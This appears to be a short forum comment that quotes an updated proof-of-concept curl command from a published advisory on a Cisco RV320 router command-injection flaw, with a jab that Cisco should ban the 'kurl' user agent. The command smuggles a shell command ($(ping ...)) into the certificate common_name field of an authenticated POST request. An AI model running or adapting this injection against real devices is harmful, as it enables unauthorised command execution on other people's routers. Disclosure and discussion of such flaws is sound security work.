The updated PoC command from the exploit page[1]: $ curl -s -k -A kurl -X POST -b "$COOKIE" \ --data "page=self_generator.htm&totalRules=1&OpenVPNRules

The updated PoC command from the exploit page[1]: $ curl -s -k -A kurl -X POST -b "$COOKIE" \ --data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\ "&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\ "&organization=A&organization_unit=A&email=ab%40example.com"\ "&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\ "SelectSubject_s=1" \ --data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \ "https://192.168.1.1/certificate_handle2.htm?type=4" Quick, Cisco! Also add “kurl” to the list of banned user agents. [1] https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-005/-cisco-rv320-command-injection https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-0...